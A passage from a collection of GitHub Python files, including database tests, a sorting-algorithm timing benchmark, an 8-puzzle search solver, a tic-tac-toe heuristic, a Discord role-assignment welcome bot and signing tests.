Proyecto\n \n assert => El proyecto debe tener la institución referenciada\n '''\n with app.app_context():\n filtro_institucion = Institucion.query.filter_by(id=1).\\\n outerjoin(Proyecto).\\\n first()\n\n assert filtro_institucion.proyectos is not None\n\n\ndef test_eliminar_institucion() -> None:\n with app.app_context():\n institucion = Institucion.query.filter_by(id=1).first()\n\n db.session.delete(institucion)\n db.session.commit()\n\n assert Institucion.query.count() == 0\n\n\ndef test_eliminar_usuario() -> None:\n with app.app_context():\n usuario = Usuario.query.filter_by(id=1).first()\n\n db.session.delete(usuario)\n db.session.commit()\n\n assert Usuario.query.count() == 0\n\n\ndef test_check_fk_proyectos() -> None:\n '''\n Este test evalúa las referencias que tiene el proyecto con usuario e institución\n \n assert => El proyecto debe tener institucion_id = None && proyecto_id = None\n '''\n with app.app_context():\n proyecto = Proyecto.query.filter_by(id=1).first()\n\n assert proyecto.institucion_id is None and proyecto.usuario_id is None\n\n\ndef test_eliminar_proyecto() -> None:\n with app.app_context():\n nombre_edit = 'Proyecto de prueba - editado'\n proyecto = Proyecto.query.filter_by(nombre=nombre_edit).first()\n\n db.session.delete(proyecto)\n db.session.commit()\n\n assert Proyecto.query.count() == 0\n","repo_name":"lennydeveloper/kuantaz-python-test","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4420,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71597831252","text":"import matplotlib.pyplot as plt\r\nimport SimpleITK as sitk\r\nimport numpy as np\r\n\r\n\r\ndef grid2contour(grid, title):\r\n '''\r\n grid--image_grid used to show deform field\r\n type: numpy ndarray, shape: (h, w, 2), value range:(-1, 1)\r\n '''\r\n assert grid.ndim == 3\r\n x = np.arange(-1, 1, 2.0 / grid.shape[1])\r\n y = np.arange(-1, 1, 2.0 / grid.shape[0])\r\n X, Y = np.meshgrid(x, y)\r\n Z1 = grid[:, :, 0] + 2 # remove the dashed line\r\n Z1 = Z1[::-1] # vertical flip\r\n Z2 = grid[:, :, 1] + 2\r\n\r\n plt.figure()\r\n plt.contour(X, Y, Z1, 15, levels=50, colors='k') #改变levels的值,可以改变形变场的外貌\r\n plt.contour(X, Y, Z2, 15, levels=50, colors='k')\r\n plt.xticks(()), plt.yticks(()) # remove x, y ticks\r\n plt.title(title)\r\n plt.show()\r\n\r\n\r\ndef show_grid():\r\n img = sitk.ReadImage(r\"C:\\Users\\zuzhiang\\Desktop\\7_flow.nii.gz\")\r\n img_arr = sitk.GetArrayFromImage(img)[:,:,0,:2]\r\n img_shape = img_arr.shape\r\n print(\"shape: \", img_shape)\r\n\r\n # 起点、终点、步长(可为小数)\r\n x = np.arange(-1, 1, 2 / img_shape[1])\r\n y = np.arange(-1, 1, 2 / img_shape[0])\r\n X, Y = np.meshgrid(x, y)\r\n regular_grid = np.stack((X, Y), axis=2)\r\n grid2contour(regular_grid, \"regular_grid\")\r\n\r\n rand_field = np.random.rand(*img_shape[:2], 2) # 参数前加*是以元组形式导入\r\n rand_field_norm = rand_field.copy()\r\n rand_field_norm[:, :, 0] = rand_field_norm[:, :, 0] * 2 / img_shape[1]\r\n rand_field_norm[:, :, 1] = rand_field_norm[:, :, 1] * 2 / img_shape[0]\r\n sampling_grid = regular_grid + rand_field_norm\r\n grid2contour(sampling_grid, \"sampling_grid\")\r\n\r\n img_arr[..., 0] = img_arr[..., 0] * 2 / img_shape[1]\r\n img_arr[..., 1] = img_arr[..., 1] * 2 / img_shape[0]\r\n img_grid = regular_grid + img_arr\r\n grid2contour(img_grid, \"img_grid\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n show_grid()\r\n print(\"end\")\r\n","repo_name":"zuzhiang/MedicalImageProcess","sub_path":"phi/show_grid.py","file_name":"show_grid.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"67"} +{"seq_id":"4194900743","text":"import time\r\n'''helper methods'''\r\n\r\nfrom collections import deque\r\n\r\n\r\ndef display(initial_state):\r\n print(\"-------------\")\r\n print(\"| \" + initial_state[0] + \" | \" + initial_state[1] + \" | \" + initial_state[2] + \" | \")\r\n print(\"-------------\")\r\n print(\"| \" + initial_state[3] + \" | \" + initial_state[4] + \" | \" + initial_state[5] + \" | \")\r\n print(\"-------------\")\r\n print(\"| \" + initial_state[6] + \" | \" + initial_state[7] + \" | \" + initial_state[8] + \" | \")\r\n print(\"-------------\")\r\n\r\n\r\ndef BreadthFirstSearch(initial_state):\r\n frontier = deque()\r\n explored = set()\r\n frontier.append(initial_state)\r\n while len(frontier) > 0:\r\n n = frontier.popleft()\r\n if goalTest(n):\r\n return len(explored)\r\n else:\r\n for a in findNextStates(n):\r\n if a not in explored:\r\n explored.add(a)\r\n frontier.append(a)\r\n return \"No solution\", len(explored)\r\n\r\n\r\ndef findNextStates(state):\r\n list = []\r\n list_states = []\r\n for s in state:\r\n list.append(s)\r\n pos0 = list.index('0')\r\n if pos0 == 0:\r\n list_states.extend([swap(state, 0, 1), swap(state, 0, 3)]) # list[1], list[3]\r\n elif pos0 == 1:\r\n list_states.extend([swap(state, 1, 0), swap(state, 1, 2), swap(state, 1, 4)]) # 0 2 4\r\n elif pos0 == 2:\r\n list_states.extend([swap(state, 2, 1), swap(state, 2, 5)]) # 1 5\r\n elif pos0 == 3:\r\n list_states.extend([swap(state, 3, 0), swap(state, 3, 4), swap(state, 3, 6)]) # 0 4 6\r\n elif pos0 == 4:\r\n list_states.extend([swap(state, 4, 1), swap(state, 4, 3), swap(state, 4, 5), swap(state, 4, 7)]) # 1 3 5 7\r\n elif pos0 == 5:\r\n list_states.extend([swap(state, 5, 2), swap(state, 5, 4), swap(state, 5, 8)]) # 2 4 8\r\n elif pos0 == 6:\r\n list_states.extend([swap(state, 6, 3), swap(state, 6, 7)]) # 3 7\r\n elif pos0 == 7:\r\n list_states.extend([swap(state, 7, 4), swap(state, 7, 6), swap(state, 7, 8)]) # 4 6 8\r\n elif pos0 == 8:\r\n list_states.extend([swap(state, 8, 5), swap(state, 8, 7)]) # 5 7\r\n return list_states\r\n\r\n\r\ndef goalTest(state):\r\n if state == \"012345678\":\r\n return True\r\n return False\r\n\r\n\r\ndef swap(string1, a, b):\r\n list = []\r\n for s in string1:\r\n list.append(s)\r\n temp = list[a]\r\n list[a] = list[b]\r\n list[b] = temp\r\n str = ''.join(list)\r\n return str\r\n\r\n\r\ndef DepthFirstSearch(initial_state):\r\n frontier = deque()\r\n explored = set()\r\n frontier.append(initial_state)\r\n while len(frontier) > 0:\r\n n = frontier.pop() #like a stack\r\n if goalTest(n):\r\n return len(explored)\r\n else:\r\n for a in findNextStates(n):\r\n if a not in explored:\r\n explored.add(a)\r\n frontier.append(a)\r\n return \"No solution\", len(explored)\r\n\r\n\r\n\r\ninitial_state = input(\"Initial state: \")\r\ndisplay(initial_state)\r\nstart = time.time()\r\nbfs_len = BreadthFirstSearch(initial_state)\r\ndfs_len = DepthFirstSearch(initial_state)\r\nprint(\"BFS: \", bfs_len)\r\nprint(\"DFS: \", dfs_len)\r\nprint(time.time() - start)\r\n\r\n\r\n\r\n\r\n","repo_name":"2020ayao/8_puzzle","sub_path":"lab_8puzzle_BFS_DFS.py","file_name":"lab_8puzzle_BFS_DFS.py","file_ext":"py","file_size_in_byte":3160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71532647255","text":"from django.urls import path\n\nfrom . import views\n\napp_name = 'instanpay'\nurlpatterns = [\n path('product/', views.ProductView.as_view(), name='product'),\n path('product//', views.ProductDetailView.as_view(), name='detail_product'),\n path('product/update//', views.ProductUpdateView.as_view(), name='update_product'),\n]","repo_name":"cursecan/ppob_multipay","sub_path":"instanpay/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8914887579","text":"import datetime\r\n\r\npp = 'https://sycm.taobao.com/cc/cockpit/marcro/item/excel/top.json?spm=a21ag.12100459.item-rank.3.657550a5XzkT3L&dateRange=2021-08-16%7C2021-08-22&dateType=week&pageSize=10&page=1&order=desc&orderBy=payAmt&dtUpdateTime=false&keyword=&follow=false&cateId=&cateLevel=&guideCateId=&device=0&indexCode=itmUv%2CitemCartCnt%2CpayItmCnt%2CpayAmt'\r\n\r\n# 前面日期\r\nb = []\r\ntime22 = datetime.datetime.now() + datetime.timedelta(days=-2)\r\nfor i in range(1, 13):\r\n time = time22 + datetime.timedelta(days=-(i * 7 - 1))\r\n time1 = time.strftime('%Y-%m-%d')\r\n b.append(time1)\r\n\r\n# 后面日期\r\nc = []\r\ntime22 = datetime.datetime.now() + datetime.timedelta(days=-2)\r\nfor j in range(0,12):\r\n time = time22+ datetime.timedelta(days=(j*-7))\r\n time1 = time.strftime('%Y-%m-%d')\r\n c.append(time1)\r\n# 前面日期修改后\r\ngg = []\r\nfor f in b:\r\n a = list(pp)\r\n a[118:128] = str(f)\r\n a = ''.join(a)\r\n gg.append(a)\r\n# 后面日期修改\r\ntt = []\r\n\r\ncc = 0\r\nfor fo in gg:\r\n cc += 1\r\n a = list(fo)\r\n a[131:141] = str(c[cc-1])\r\n a = ''.join(a)\r\n tt.append(a)\r\n\r\n\r\nfor po in tt:\r\n print(po)\r\n\r\n\r\n","repo_name":"Matt4430/python_project","sub_path":"字符串_修改2处内容_日期.py","file_name":"字符串_修改2处内容_日期.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"38997762968","text":"import pandas as pd\nimport glob\nimport numpy as np\nfrom itertools import chain\nimport sys\nimport os\n\noutput_matrix = sys.argv[1]\ndirectory = os.getcwd()\nbinary_mat = pd.DataFrame([])\nfor filename in sorted(os.listdir(directory)):\n print('Processing ' + filename + ' gene')\n es_pos_files = glob.glob(filename + \"/*.csv\")\n\n#read csv file, select editing sites positions, store\n pos_dict = {}\n for file in sorted(es_pos_files):\n pos_temp = pd.read_csv(file, usecols=[1, 2, 3], header=None)\n pos_dict[file] = pos_temp[2].tolist()\n\n#concatenate all editing sites positions from dict, take unique values and sort\n uniq_pos = sorted(set(chain.from_iterable(pos_dict.values())))\n\n#compare editing positions of each species with unique editing positions and set binary values\n pos_comp = []\n for key, value in pos_dict.items():\n pos_comp_temp = [1 if x in value else 0 for x in uniq_pos]\n pos_comp.append(pos_comp_temp)\n\n pos_comp.append(uniq_pos)\n\n#convert list to dataframe\n pos_comp_df = pd.DataFrame(pos_comp)\n pos_comp_df = pos_comp_df.astype(int)\n\n#move bottom line (editing site positions) to the top\n pos_comp_df_roll = pos_comp_df.apply(np.roll, shift=1)\n\n#drop first column containing '0' positions\n pos_comp_df_roll_drop = pos_comp_df_roll.drop(pos_comp_df_roll.columns[0], axis=1)\n binary_mat = pd.concat([binary_mat, pos_comp_df_roll_drop], axis = 1)\n\n#save results to csv file\nbinary_mat.to_csv(output_matrix, sep='\\t', index=False, header=False)\n","repo_name":"gymnomitrion/binary_editing","sub_path":"bimat_editing_sites.py","file_name":"bimat_editing_sites.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29861887992","text":"def solution(participant, completion):\n myDict = {}\n\n # 침가자를 {\"이름\": 인원수} 꼴로 dict에 저장.\n for part in participant:\n if part in myDict:\n myDict[part] += 1\n else:\n myDict[part] = 1\n\n # 완주자 받아서 인원수 하나씩 줄임\n for comp in completion:\n if comp in myDict:\n myDict[comp] -= 1\n\n # 인원이 남아있는 이름(key)이 답임.\n temp = [key for key, v in myDict.items() if v == 1]\n\n answer = temp[0]\n return answer\n\n\nparticipant = [\"mislav\", \"stanko\", \"mislav\", \"ana\"]\ncompletion = [\"stanko\", \"ana\", \"mislav\"]\nprint(solution(participant, completion))\n","repo_name":"Sora-CodingTestStudy/our-code","sub_path":"hash/jungrye/010_완주.py","file_name":"010_완주.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21849548283","text":"#!/usr/bin/env python3\n\n\"\"\"\nFile name: FIBO.py\nRefer: http://rosalind.info/problems/fibo/\nAlgorithmic Heights: Fibonacci numbers\nGiven: A positive integer n≤25.\nReturn: The value of Fn\n\"\"\"\n\ndef fibonacci_numbers(number):\n \"\"\"\n :param number: Number(position) in the Fibonacci sequence\n :return: The integer present at a given position in the Fibonacci sequence\n \"\"\"\n if number == 0:\n return 0\n if number == 1:\n return 1\n\n fib_seq = [0, 1]\n for i in range(2, number+1):\n current = fib_seq[i-2] + fib_seq[i-1]\n fib_seq.append(current)\n return fib_seq[number]\n\n\n# Test:\nprint(\"For input number {}, fib output is {}\".format(0, fibonacci_numbers(0)))\nprint(\"For input number {}, fib output is {}\".format(1, fibonacci_numbers(1)))\nprint(\"For input number {}, fib output is {}\".format(8, fibonacci_numbers(8)))\n","repo_name":"komarathe/python-practice","sub_path":"rosalind/FIBO.py","file_name":"FIBO.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32158131164","text":"'''\r\n---------------------------\r\n-##########EP1############-\r\n---------------------------\r\nAluno: Henrique Gregório Silva\r\nRA: 1460281523016\r\nMatéria: Estrutura de Dados\r\nProfessor: Fernando Masanori Ashikaga\r\n'''\r\n\r\nimport random\r\nimport time\r\n\r\n\r\n###########FUNÇÃO PARA GERAR VETOR ALEATÓRIO PELA QUANTIDADE DE NÚMEROS NECESSÁRIOS##########\r\ndef geraVetorAleatorio(Vquantidade):\r\n vetor = []\r\n for x in range (Vquantidade):\r\n n = 0\r\n while (n in vetor):\r\n n = random.randint(1,(Vquantidade + 1000))\r\n vetor.append(n)\r\n return vetor\r\n\r\n###########MERGESORT##########\r\ndef merge(e, d):\r\n r = []\r\n i, j = 0, 0\r\n while i < len(e) and j < len(d):\r\n if e[i] <= d[j]:\r\n r.append(e[i])\r\n i += 1\r\n else:\r\n r.append(d[j])\r\n j += 1\r\n r += e[i:]\r\n r += d[j:]\r\n return r\r\n\r\ndef mergesort(v):\r\n if len(v) <= 1:\r\n return v\r\n else:\r\n m = len(v) // 2\r\n e = mergesort(v[:m])\r\n d = mergesort(v[m:])\r\n return merge(e, d)\r\n\r\n##########QUICKSORT##########\r\ndef quicksort(lista):\r\n if len(lista) <= 1: \r\n return lista\r\n \r\n pivô = lista[0]\r\n iguais = [x for x in lista if x == pivô]\r\n menores = [x for x in lista if x < pivô]\r\n maiores = [x for x in lista if x > pivô]\r\n return quicksort(menores) + iguais + quicksort(maiores)\r\n\r\n##########SELECTION##########\r\ndef selection(v):\r\n resp = []\r\n while v:\r\n m = min(v)\r\n resp.append(m)\r\n v.remove(m)\r\n return resp\r\n\r\n##########FUNÇÕES PARA TEMPO DE EXECUÇÃO########\r\ndef tempoMerge(vetor):\r\n random.shuffle(vetor)\r\n inicio = time.time()\r\n mergesort(vetor)\r\n fim = time.time()\r\n tempo = fim - inicio\r\n return tempo\r\n\r\ndef tempoQuicksort(vetor):\r\n random.shuffle(vetor)\r\n inicio = time.time()\r\n quicksort(vetor)\r\n fim = time.time()\r\n tempo = fim - inicio\r\n return tempo\r\n\r\ndef tempoSelection(vetor):\r\n random.shuffle(vetor)\r\n inicio = time.time()\r\n selection(vetor)\r\n fim = time.time()\r\n tempo = fim - inicio\r\n return tempo\r\n\r\ndef tempoSort(vetor):\r\n random.shuffle(vetor)\r\n inicio = time.time()\r\n vetor.sort()\r\n fim = time.time()\r\n tempo = fim - inicio\r\n return tempo\r\n\r\n\r\n\r\n#UTILIZADO FUNÇÃO PARA GERAR VETORES ALEATÓRIOS\r\nvetorDe2000 = geraVetorAleatorio(2000)\r\nvetorDe4000 = geraVetorAleatorio(4000)\r\nvetorDe6000 = geraVetorAleatorio(6000)\r\nvetorDe8000 = geraVetorAleatorio(8000)\r\nvetorDe10000 = geraVetorAleatorio(10000)\r\nvetorDe12000 = geraVetorAleatorio(12000)\r\nvetorDe14000 = geraVetorAleatorio(14000)\r\nvetorDe16000 = geraVetorAleatorio(16000)\r\nvetorDe18000 = geraVetorAleatorio(18000)\r\nvetorDe20000 = geraVetorAleatorio(20000) \r\nvetorDe22000 = geraVetorAleatorio(22000)\r\n\r\n\r\n#GERANDO TEMPO DE EXECUÇÃO PARA 2000\r\ntempoMerge2000 = tempoMerge(vetorDe2000)\r\ntempoQuicksort2000 = tempoQuicksort(vetorDe2000)\r\ntempoSelection2000 = tempoSelection(vetorDe2000)\r\ntempoSort2000 = tempoSort(vetorDe2000)\r\n#GERANDO TEMPO DE EXECUÇÃO PARA 4000\r\ntempoMerge4000 = tempoMerge(vetorDe4000)\r\ntempoQuicksort4000 = tempoQuicksort(vetorDe4000)\r\ntempoSelection4000 = tempoSelection(vetorDe4000)\r\ntempoSort4000 = tempoSort(vetorDe4000)\r\n#GERANDO TEMPO DE EXECUÇÃO PARA 6000\r\ntempoMerge6000 = tempoMerge(vetorDe6000)\r\ntempoQuicksort6000 = tempoQuicksort(vetorDe6000)\r\ntempoSelection6000 = tempoSelection(vetorDe6000)\r\ntempoSort6000 = tempoSort(vetorDe6000)\r\n#GERANDO TEMPO DE EXECUÇÃO PARA 8000\r\ntempoMerge8000 = tempoMerge(vetorDe8000)\r\ntempoQuicksort8000 = tempoQuicksort(vetorDe8000)\r\ntempoSelection8000 = tempoSelection(vetorDe8000)\r\ntempoSort8000 = tempoSort(vetorDe8000)\r\n#GERANDO TEMPO DE EXECUÇÃO PARA 10000\r\ntempoMerge10000 = tempoMerge(vetorDe10000)\r\ntempoQuicksort10000 = tempoQuicksort(vetorDe10000)\r\ntempoSelection10000 = tempoSelection(vetorDe10000)\r\ntempoSort10000 = tempoSort(vetorDe10000)\r\n#GERANDO TEMPO DE EXECUÇÃO PARA 12000\r\ntempoMerge12000 = tempoMerge(vetorDe12000)\r\ntempoQuicksort12000 = tempoQuicksort(vetorDe12000)\r\ntempoSelection12000 = tempoSelection(vetorDe12000)\r\ntempoSort12000 = tempoSort(vetorDe12000)\r\n#GERANDO TEMPO DE EXECUÇÃO PARA 14000\r\ntempoMerge14000 = tempoMerge(vetorDe14000)\r\ntempoQuicksort14000 = tempoQuicksort(vetorDe14000)\r\ntempoSelection14000 = tempoSelection(vetorDe14000)\r\ntempoSort14000 = tempoSort(vetorDe14000)\r\n#GERANDO TEMPO DE EXECUÇÃO PARA 16000\r\ntempoMerge16000 = tempoMerge(vetorDe16000)\r\ntempoQuicksort16000 = tempoQuicksort(vetorDe16000)\r\ntempoSelection16000 = tempoSelection(vetorDe16000)\r\ntempoSort16000 = tempoSort(vetorDe16000)\r\n#GERANDO TEMPO DE EXECUÇÃO PARA 18000\r\ntempoMerge18000 = tempoMerge(vetorDe18000)\r\ntempoQuicksort18000 = tempoQuicksort(vetorDe18000)\r\ntempoSelection18000 = tempoSelection(vetorDe18000)\r\ntempoSort18000 = tempoSort(vetorDe18000)\r\n#GERANDO TEMPO DE EXECUÇÃO PARA 20000\r\ntempoMerge20000 = tempoMerge(vetorDe20000)\r\ntempoQuicksort20000 = tempoQuicksort(vetorDe20000)\r\ntempoSelection20000 = tempoSelection(vetorDe20000)\r\ntempoSort20000 = tempoSort(vetorDe20000)\r\n#GERANDO TEMPO DE EXECUÇÃO PARA 22000\r\ntempoMerge22000 = tempoMerge(vetorDe22000)\r\ntempoQuicksort22000 = tempoQuicksort(vetorDe22000)\r\ntempoSelection22000 = tempoSelection(vetorDe22000)\r\ntempoSort22000 = tempoSort(vetorDe22000)\r\n\r\n\r\n\r\n\r\n\r\n\r\nprint (\"\"\"\r\n-----------------------------------------------------------------------\r\n | time(s) |\r\n-----------------------------------------------------------------------\r\n | Mergesort Quicksort Selection Native |\"\"\")\r\nprint(\"{0:11} {1} {2:10.2f} {3:14.2f} {4:14.2f} {5:11.2f} {6:>4}\".format(\"2000\",\"|\",tempoMerge2000,tempoQuicksort2000,tempoSelection2000,tempoSort2000,\"|\"))\r\nprint(\"{0:11} {1} {2:10.2f} {3:14.2f} {4:14.2f} {5:11.2f} {6:>4}\".format(\"4000\",\"|\",tempoMerge4000,tempoQuicksort4000,tempoSelection4000,tempoSort4000,\"|\"))\r\nprint(\"{0:11} {1} {2:10.2f} {3:14.2f} {4:14.2f} {5:11.2f} {6:>4}\".format(\"6000\",\"|\",tempoMerge6000,tempoQuicksort6000,tempoSelection6000,tempoSort6000,\"|\"))\r\nprint(\"{0:11} {1} {2:10.2f} {3:14.2f} {4:14.2f} {5:11.2f} {6:>4}\".format(\"8000\",\"|\",tempoMerge8000,tempoQuicksort8000,tempoSelection8000,tempoSort8000,\"|\"))\r\nprint(\"{0:11} {1} {2:10.2f} {3:14.2f} {4:14.2f} {5:11.2f} {6:>4}\".format(\"10000\",\"|\",tempoMerge10000,tempoQuicksort10000,tempoSelection10000,tempoSort10000,\"|\"))\r\nprint(\"{0:11} {1} {2:10.2f} {3:14.2f} {4:14.2f} {5:11.2f} {6:>4}\".format(\"12000\",\"|\",tempoMerge12000,tempoQuicksort12000,tempoSelection12000,tempoSort12000,\"|\"))\r\nprint(\"{0:11} {1} {2:10.2f} {3:14.2f} {4:14.2f} {5:11.2f} {6:>4}\".format(\"14000\",\"|\",tempoMerge14000,tempoQuicksort14000,tempoSelection14000,tempoSort14000,\"|\"))\r\nprint(\"{0:11} {1} {2:10.2f} {3:14.2f} {4:14.2f} {5:11.2f} {6:>4}\".format(\"16000\",\"|\",tempoMerge16000,tempoQuicksort16000,tempoSelection16000,tempoSort16000,\"|\"))\r\nprint(\"{0:11} {1} {2:10.2f} {3:14.2f} {4:14.2f} {5:11.2f} {6:>4}\".format(\"18000\",\"|\",tempoMerge18000,tempoQuicksort18000,tempoSelection18000,tempoSort18000,\"|\"))\r\nprint(\"{0:11} {1} {2:10.2f} {3:14.2f} {4:14.2f} {5:11.2f} {6:>4}\".format(\"20000\",\"|\",tempoMerge20000,tempoQuicksort20000,tempoSelection20000,tempoSort20000,\"|\"))\r\nprint(\"{0:11} {1} {2:10.2f} {3:14.2f} {4:14.2f} {5:11.2f} {6:>4}\".format(\"22000\",\"|\",tempoMerge22000,tempoQuicksort22000,tempoSelection22000,tempoSort22000,\"|\"))\r\nprint(\"-----------------------------------------------------------------------\")\r\n\r\n\r\n\r\n\r\n","repo_name":"HgregorioSilva/EstruturaDeDados-EP1-","sub_path":"EP1.py","file_name":"EP1.py","file_ext":"py","file_size_in_byte":7487,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40999905687","text":"#New Heuristic - now the slower one\nimport numpy as np\n## This heuristic calculates the total possible wins the first player can have and subtracts it from the total possible wins \n## the second player can have. In counts how close each player is to completing a win and adds it to their total possible wins\n\ndef sophisticated_heuristic(self):\n\n # Available wins for player 1 and player 2\n avail_p1 = avail_p2 = 0\n board = np.array(self.current_state)\n\n # Returns the board as a boolean ndarray where the true values are assigned to the empty position as well as the respective players\n # symbols on the board\n board_p1 = (board == '.') | (board == 'X')\n board_p2 = (board == '.') | (board == 'O')\n\n # Overlapping sub arrays of the board with their lengths the size of the win conditions\n horizontal_blocs_p1 = np.lib.stride_tricks.sliding_window_view(board_p1, (1, 3)).reshape(-1, 3)\n vertical_blocs_p1 = np.lib.stride_tricks.sliding_window_view(board_p1, (3, 1)).reshape(-1, 3)\n diagonal_blocs_p1 = np.lib.stride_tricks.sliding_window_view(board_p1, (3, 3)).reshape(-1, 3, 3)\n\n horizontal_blocs_p2 = np.lib.stride_tricks.sliding_window_view(board_p2, (1, 3)).reshape(-1, 3)\n vertical_blocs_p2 = np.lib.stride_tricks.sliding_window_view(board_p2, (3, 1)).reshape(-1, 3)\n diagonal_blocs_p2 = np.lib.stride_tricks.sliding_window_view(board_p2, (3, 3)).reshape(-1, 3, 3)\n\n # seperates the player's positions and empty positions - Used later to count how close each player is to a win\n horizontal_prog = (horizontal_blocs_p1+1) - (horizontal_blocs_p2+1)\n vertical_prog = (vertical_blocs_p1+1) - (vertical_blocs_p2+1)\n\n # Iterates through the overlapping sub arrays containing the vertical and horizontal positions and calculates their total score\n for i in range(len(horizontal_blocs_p1)):\n if horizontal_blocs_p1[i].all():\n avail_p1 += 1\n avail_p1 += np.count_nonzero(horizontal_prog[i] == 1) ** 2\n if vertical_blocs_p1[i].all():\n avail_p1 += 1\n avail_p1 += np.count_nonzero(vertical_prog[i] == 1) ** 2\n\n if horizontal_blocs_p2[i].all():\n avail_p2 += 1\n avail_p2 += np.count_nonzero(horizontal_prog[i] == -1) ** 2\n\n if vertical_blocs_p2[i].all():\n avail_p2 += 1\n avail_p2 += np.count_nonzero(vertical_prog[i] == -1) ** 2\n \n # Iterates through the overlapping sub arrays containing the diagonal positions and calculates their total score\n for s in range(len(diagonal_blocs_p1)):\n \n # nw = north-west, ne = north-east\n nw_p1 = np.diagonal(diagonal_blocs_p1[s])\n ne_p1 = np.diagonal(np.fliplr(diagonal_blocs_p1[s]))\n\n nw_p2 = np.diagonal(diagonal_blocs_p2[s])\n ne_p2 = np.diagonal(np.fliplr(diagonal_blocs_p2[s]))\n\n diagonal_prog_nw = (nw_p1+1) - (nw_p2+1)\n diagonal_prog_ne = (ne_p1+1) - (ne_p2+1)\n\n if nw_p1.all():\n avail_p1 += 1\n avail_p1 += np.count_nonzero(diagonal_prog_nw == 1) ** 2\n\n if ne_p1.all():\n avail_p1 += 1\n avail_p1 += np.count_nonzero(diagonal_prog_ne == 1) ** 2\n\n if nw_p2.all():\n avail_p2 += 1\n avail_p2 += np.count_nonzero(diagonal_prog_nw == -1) ** 2\n\n if ne_p2.all():\n avail_p2 += 1\n avail_p2 += np.count_nonzero(diagonal_prog_ne == -1) ** 2\n\n return avail_p1 - avail_p2\n","repo_name":"DavidZ08/Mini-project2","sub_path":"heuristic.py","file_name":"heuristic.py","file_ext":"py","file_size_in_byte":3666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71651308693","text":"#!/usr/bin/python3\n\nimport os\nimport sys\n\nimport discord\nimport asyncio\n\n# Pull params from CLI options.\nargs = sys.argv\nuser_id = args[1]\nserver_id = args[2]\nchannel_name = args[3]\ninvite = args[4]\n\n# Set up the Discord client.\nclient = discord.Client()\n\n# Shouldn't have hardcoded this.\nconfig = {\n 'groups': [\n ('first', '1st year'),\n ('second', '2nd year'),\n ('third', '3rd year'),\n ('fourth', '4th year'),\n ('fifth', '5th year'),\n ('grad', 'grad-student'),\n ('alum', 'alum')\n ]\n}\n\n# Generates the join message given a username.\ndef gen_join_message(user):\n message = 'Hi there, {}! Welcome to the NEU CCIS Discord server! Please state your year to be assigned a group!'.format(user.mention)\n for entry in config['groups']:\n message += ('\\n➤ `' + entry[0] + '` ⇒ ' + entry[1])\n return message\n\n# Finds the role by name.\ndef find_role(name):\n serv = client.get_server(server_id)\n for r in serv.roles:\n if r.name == name:\n return r\n\n# Finds a channel by name.\ndef get_channel(name):\n serv = client.get_server(server_id)\n if serv is None:\n client.accept_invite(invite)\n client.get_server(server_id)\n for c in serv.channels:\n if c.name == name:\n return c\n return None\n\n@client.event\nasync def on_ready():\n print('Username:', client.user.name)\n print('UID:', client.user.id)\n print('Invite: https://discordapp.com/oauth2/authorize?client_id={}&scope=bot'.format(client.user.id))\n print('READY TO ROCK AND ROLL BABY')\n print('--------')\n # Announce to the server that we're here.\n for s in client.servers:\n for c in s.channels:\n if c.name == channel_name:\n await client.send_message(c, 'Hello, World!')\n\n# Hacky thing to actually broadcast the announcement message.\nasync def __broadcast_announce_message(member):\n chan = get_channel(channel_name)\n await client.send_message(chan, gen_join_message(member))\n\n# Just blindly announce the join message.\n@client.event\nasync def on_member_join(member):\n print('New user', member.name)\n await __broadcast_announce_message(member)\n\n@client.event\nasync def on_message(message):\n\n # Check if the message is in the right channel.\n if message.channel.name != channel_name:\n return\n\n # Lol I'm not stupid.\n if message.author == client.user:\n return # Let's not mess with ourselves.\n\n # Debugger to check if the bot goes down.\n if message.content == '\\'joinmessage':\n await __broadcast_announce_message(message.author)\n\n # Check to see if they already have a correct role before trying to add one on.\n ok = True\n for r in message.author.roles:\n for entry in config['groups']:\n if entry[1] == r.name:\n ok = False # They already have a role.\n break\n if ok:\n for entry in config['groups']:\n # Find the role by name.\n role = find_role(entry[1])\n if entry[0] in message.content:\n print('Trying to assign role', entry[1], 'to', message.author.name, '...')\n await client.add_roles(message.author, role)\n print('OK!\\n')\n\n# Actually kick everything off.\nprint('Got user ID', user_id)\nclient.run(user_id)\n","repo_name":"esSteres/neuccis-discord-aounbot","sub_path":"welcome.py","file_name":"welcome.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73418248532","text":"from zeth.core import signing\nfrom hashlib import sha256\nfrom unittest import TestCase\nfrom os import urandom\n\n\nclass TestSigning(TestCase):\n\n keypair = signing.gen_signing_keypair()\n\n def test_sign_verify(self) -> None:\n \"\"\"\n Test the correct signing-verification flow:\n verify(vk, sign(sk,m), m) = 1\n \"\"\"\n m = sha256(\"clearmatics\".encode()).digest()\n sigma = signing.sign(self.keypair.sk, m)\n self.assertTrue(signing.verify(self.keypair.vk, m, sigma))\n\n keypair2 = signing.gen_signing_keypair()\n self.assertFalse(signing.verify(keypair2.vk, m, sigma))\n\n def test_sign_verify_random(self) -> None:\n \"\"\"\n Test the correct signing-verification flow with random message:\n verify(vk, sign(sk,m), m) = 1\n 